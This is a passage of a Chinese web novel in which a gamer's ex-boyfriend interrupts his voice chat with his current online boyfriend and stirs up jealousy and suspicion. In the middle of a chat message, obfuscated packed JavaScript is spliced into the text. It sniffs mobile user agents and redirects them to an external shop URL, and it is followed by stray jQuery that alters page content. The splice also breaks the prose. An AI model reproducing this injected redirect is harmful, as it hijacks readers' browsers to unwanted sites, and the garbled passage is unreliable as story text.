这次江画眠同意以后回复了一个微笑的表情,然后不等梁竞恒回复就再次把他删掉了。
梁竞恒知道,这个反应代表自己猜对了。
他在申请好友的界面打字给江画眠道歉:你是因为这个和我分手的吗?对不起,我不知道那个人是你……
他洋洋洒洒写了一大篇小作文,到最后验证消息超字数了,他不得已在备忘录写好截图发在验证消息里。
但这篇小作文最后也没能发出去。
江画眠把他拉黑了,他申请不了,只能看着“对方拒绝接收你的消息”这行字发呆。
同时他也意识到,他们真的结束了。
梁竞恒换了小号去加,不出所料再一次喜提拉黑。
联系不上江画眠的日子是煎熬的,他一遍遍去看江画眠的游戏主页,看江画眠换了什么名字,场次增加了多少,又在和谁组队打。
一开始他是没有删访问记录的,他在心里暗暗期待江画眠发现自己的念念不忘后会有一丝心软。
后面他开始删了。
他无从得知江画眠有没有注意到自己的偷看,只是某一天忽然发现江画眠隐藏了战绩,于是他莫名开始害怕江画眠因为觉得自己总是偷看很烦所以换号。
他怕自己以后连偷窥的机会都没有了。
所以在局内看见江画眠时,他一眼就认出来了。
而为了防止将来有机会遇到江画眠认不出自己,他也一直没有改过游戏昵称。
“你现在的新男朋友是刚刚的那个打野?”梁竞恒咬着牙,酸味怎么也止不住:“我看见他帮你过线给你打蓝。”
江画眠的亲密关系是隐藏的,所以他无法在江画眠的主页看见对方现在的新恋人。
江画眠目光闪了闪,否认道:“不是他。”
梁竞恒根本不信:“你们连情侣标都没有,他也能算是你的新男朋友吗?”
江画眠了解他,知道他是撞了南墙也不回头的性子,所以没有再试图解释,只是说:“还有别的事吗?”
“没有我就退了,我朋友还在等我。”
他的态度漠然,梁竞恒却从心底生出一点希冀,着急忙慌开口:“有!我有事想和你说!”
江画眠的语气依旧冷淡:“什么事?”
梁竞恒在寒冷的冬天急出了一身汗,他哪有什么事?只是想留下江画眠的借口罢了。
见他支支吾吾半天也说不出个所以然,江画眠耐心殆尽,正准备退出队伍,右手边好友列表最上面的名字却突然亮了。
下一秒,队伍里就多出了一个人,进来时和江画眠的头像上一起闪过粉色图案。
有紧密关系的人进队伍,头像就会同时闪过对应的亲密图标。
粉色图标是恋人关系。
语音里安静了一瞬,随后梁竞恒震惊道:“刚刚那个打野真不是你新男朋友?”
江画眠顿了顿,没想到他的关注点在这。
低沉危险的声音响起:“新男朋友?”
闻白的心跳得很快,直觉告诉他江画眠有事情瞒着他:“什么意思?这个人是谁?”
本来他上线看见江画眠在组队中也没多想,顺手和平日一样点了进队伍,结果就看见组队房间里除了江画眠以外又有一个陌生的男人。
算上不久前的许程越,这已经是第二个了。
闻白产生了一种巨大的不安,不只是吃醋,而是他突然发现他好像并不了解自己的网恋对象。
从前他以为自己很了解对方,他知道对方在读大二,有一对疼爱自己的父母,有一个一起长大的竹马,有一个关系不错的室友。
不久前看见江画眠背着自己和“学长”双排时他开始警惕起来,现在江画眠和另一个陌生男人组队更是如同一记警钟敲醒了他,让他恍然发觉自己其实并没有那么了解对方。
他们只是网恋,对彼此的现实一无所知,说不定某一天在大街上碰到都认不出来。
“……”江画眠不知道怎么解释梁竞恒的身份,现在这个场面他总不能直接说是前男友,不然也太像抓奸了。
况且他之前说过自己是第一次谈恋爱,虽然他不觉得这句话有可信度,但表面上的平和还是要维持的。
就在他组织语言时,梁竞恒意味不明地笑了一下,阴阳怪气:“我吗?我是眠眠的朋友。”
江画眠怔了怔,完全没想到梁竞恒会这么说。
他倒不觉得梁竞恒是“好心”帮自己遮掩,只是觉得按照梁竞恒的性子估计会想方设法拆散他和“新男友”才对,现在这样怎么看都是别有用心。
果不其然,梁竞恒下句话就迫不及待露出了真面目:“不好意思啊眠眠,我还以为刚刚那个打野才是你的新男朋友,毕竟你们刚刚那么亲密。”
话里话外的挑拨明显到江画眠眼皮抽了抽,如果是之前还在谈恋爱的那段时间他已经开口骂对方蠢狗了。
闻白虽然心里七上八下,但也不可能在外人面前给江画眠难堪,更何况还是那么拙劣的手段,便故作冷静地“哦”了一声,仿佛全然不介意:“眠眠你刚刚在和朋友一起玩吗?”
“嗯。”江画眠比刚刚还惊讶,他没想到对方能那么冷静。
梁竞恒听得要气死了,他有心挑拨,可谁想到江画眠和别人一起玩这个“现任男朋友”完全没有要介意的意思。
他想破脑袋也想不明白为什么江画眠的这个“现男友”能容忍自己的对象和别的男人甜蜜双排,如果是他肯定当场就炸了。
闻白又换上一副温柔的语气:“眠眠你还玩吗?我看群里有人喊。”
江画眠开小窗看了一眼,五排群里确实有人发消息问打不打,是周幻发的。
他不知道的是,群里的消息是闻白刚刚让周幻发的。
闻白的想法很简单,有其他陌生男人在的话比起三排还不如凑人五排。
起码五排的时候江画眠不会像上次那样只和所谓的“学长”说话。
“……你喊他上号吧。”江画眠回答他:“我问问学长还玩不玩。”
许程越的游戏号还在线,但游戏状态有延迟,江画眠不知道他在不在号上,还是用社交软件给他发了信息。
【画船听雨眠:学
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17740069|209093||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
长】
【画船听雨眠:刚刚对面打野拉我过去说了点事,你还玩吗?我对象也一起】
许程越几乎是立刻就回复:
【许:什么事?】
江画眠犹豫了一下怎么回答,还没等他想好对方就像是有读心术一样再次发来消息:
【许:他是你前男友吗?】
【画船听雨眠:是】
【许:他来找你求复合吗?】
【画船听雨眠:嗯】
【许:你拒绝了吗?】
“你刚刚又在和你那个学长玩?”闻白下意识皱起眉,下一秒发现自己语气太强硬又尽力缓和下来:“怎么不喊我一起。”
“你不是还没起床吗?”江画眠边打字回复许程越边顺口道:“我记得你平时节假日都睡到中午。”
【画船听雨眠:当然】
这次过了好几秒许程越才再次发消息:
【许:好】
【许:我先不玩了,要去做午饭了】
听见江画眠记得自己的作息习惯,闻白很高兴地:“哦!”
“眠眠。”梁竞恒不死心:“我想和你单独说点事。”
江画眠无声地叹了口气:“梁竞恒。”
这是分手后他第一次称呼对方的大名:“我不想听。”
“只要是你的事,我都不想听。”
梁竞恒的唇抖了抖,声音像是从嗓子眼里挤出来:“是因为你男朋友在,所以你才这样说的吗?”
“你爱怎么想就怎么想。”江画眠并不解释,在退出队伍前最后丢下一句:“你真是一点都没变。”
在他退出队伍后闻白也紧跟着退出了,梁竞恒望着只剩下自己的组队界面,半晌扯了扯嘴角:“……你也是。”
江画眠退出队伍后就另外开了个组队房间把闻白和周幻拉进来。
说起来他们已经很久没有三排了,在刚认识的那段时间里他们还是经常三排的,后面闻白想和江画眠双排,想方设法让周幻别当那个电灯泡,后面确定了恋爱关系以后拉了五排群,更是没有什么三排的机会了。
“刚刚那个人是你朋友?”闻白开了组队麦,语气里充满怀疑:“我怎么听着不太对劲呢。”
“曾经是。”江画眠态度自然:“后面因为点事断了,很久没联系了,今天偶然遇到,不知道他突然发什么疯。”
“什么事?”
江画眠不知道怎么回答,所以他直接转移了话题:“学长说他不来了,那我直接开了。”
话音刚落,房间门就被敲响了,一道温柔的女声随之响起:“宝宝出来吃饭了。”
江画眠应了声,转头在麦里道:“你们玩吧,我先去吃饭了。”
他退出队伍后队长就变成了闻白,周幻出声催促:“你发什么呆?还不快开。”
“不是你自己说要玩让我去群里摇人?”
“啊?”闻白像是才回过神,语气变得嫌弃起来:“就我们两个打啥,你要玩自己玩去。”
说完他就毫不犹豫下线了,周幻的辱骂声甚至都没能完整传到他的耳朵里。